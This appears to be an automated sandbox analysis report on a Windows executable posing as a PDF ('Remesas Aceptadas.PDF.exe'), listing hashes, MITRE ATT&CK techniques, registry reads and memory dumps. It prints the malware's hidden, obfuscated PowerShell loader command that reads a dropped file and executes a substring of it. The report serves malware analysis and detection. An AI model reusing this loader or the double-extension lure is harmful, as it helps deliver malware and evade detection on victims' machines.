9f3b919ce19ec77455cf976bca1489292959e2032e7498c3daa6099b2ea90d8c

General

Target

Remesas Aceptadas.PDF.exe
Size

495KB
MD5

d6ff66eeba266a3eda5af0c40d6a5deb
SHA1

ebcb218d12b52e4567046e7c73bfba896b1fa09a
SHA256

9f3b919ce19ec77455cf976bca1489292959e2032e7498c3daa6099b2ea90d8c
SHA512

3b87e4dc73ec79253361da82a531fd7da75e23afae7792e31e7b014339994d30d91372d6795f692e5e6e5256ca51204c87af1938533fddba596eb814c68f87c9
SSDEEP

12288:IIFypJoDAP2wEve+g3c9kP9/kVTtFwP0nRUw:DMpqAP2Nve+g3cheP0Ww

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4876	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3552	4876	WerFault.exe	86

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Remesas Aceptadas.PDF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4876	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2884 wrote to memory of 4876	2884	Remesas Aceptadas.PDF.exe	86
PID 2884 wrote to memory of 4876	2884	Remesas Aceptadas.PDF.exe	86
PID 2884 wrote to memory of 4876	2884	Remesas Aceptadas.PDF.exe	86

C:\Users\Admin\AppData\Local\Temp\Remesas Aceptadas.PDF.exe
"C:\Users\Admin\AppData\Local\Temp\Remesas Aceptadas.PDF.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2884
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$Fuldbefarne=Get-Content 'C:\Users\Admin\AppData\Local\Konfektionernes\Eguns\Aliyahs50.Fum83';$Dewily=$Fuldbefarne.SubString(54482,3);.$Dewily($Fuldbefarne)
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4876
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4876 -s 2656
    3⤵
    - Program crash
    PID:3552

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 4876 -ip 4876
1⤵
PID:1636

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Konfektionernes\Eguns\Aliyahs50.Fum83

Filesize
53KB

MD5
a6abe8564e8a1748c26ebc018b7fc04c

SHA1
ef27a0811cd96ec4543b383590248dcd3b3bfd43

SHA256
fbf68ceb0677bbb4381445f77cbfe9f916f6191fe734da78a29f86a98bb8b4bc

SHA512
1780d11205ca91e80b5556fb4d2d43bb9476a17010a005f5914a50abba2a110a3b4e52b0f86d803a1a06c5c59e1f62b3d2ae3249977028416378b67595a41d8a

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qlqei2nm.ntg.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4876-9-0x0000000074E00000-0x00000000755B0000-memory.dmp

Filesize
7.7MB

Download
memory/4876-24-0x0000000006640000-0x000000000668C000-memory.dmp

Filesize
304KB

Download
memory/4876-5-0x0000000074E0E000-0x0000000074E0F000-memory.dmp

Filesize
4KB

Download
memory/4876-10-0x0000000005640000-0x0000000005662000-memory.dmp

Filesize
136KB

Download
memory/4876-11-0x0000000005F20000-0x0000000005F86000-memory.dmp

Filesize
408KB

Download
memory/4876-12-0x0000000005F90000-0x0000000005FF6000-memory.dmp

Filesize
408KB

Download
memory/4876-7-0x0000000074E00000-0x00000000755B0000-memory.dmp

Filesize
7.7MB

Download
memory/4876-22-0x0000000006000000-0x0000000006354000-memory.dmp

Filesize
3.3MB

Download
memory/4876-23-0x00000000065F0000-0x000000000660E000-memory.dmp

Filesize
120KB

Download
memory/4876-8-0x0000000005700000-0x0000000005D28000-memory.dmp

Filesize
6.2MB

Download
memory/4876-27-0x0000000006B60000-0x0000000006B82000-memory.dmp

Filesize
136KB

Download
memory/4876-26-0x0000000006B40000-0x0000000006B5A000-memory.dmp

Filesize
104KB

Download
memory/4876-28-0x0000000007E00000-0x00000000083A4000-memory.dmp

Filesize
5.6MB

Download
memory/4876-25-0x00000000077B0000-0x0000000007846000-memory.dmp

Filesize
600KB

Download
memory/4876-6-0x0000000003020000-0x0000000003056000-memory.dmp

Filesize
216KB

Download
memory/4876-30-0x0000000008A30000-0x00000000090AA000-memory.dmp

Filesize
6.5MB

Download
memory/4876-31-0x0000000074E00000-0x00000000755B0000-memory.dmp

Filesize
7.7MB

Download

Analysis

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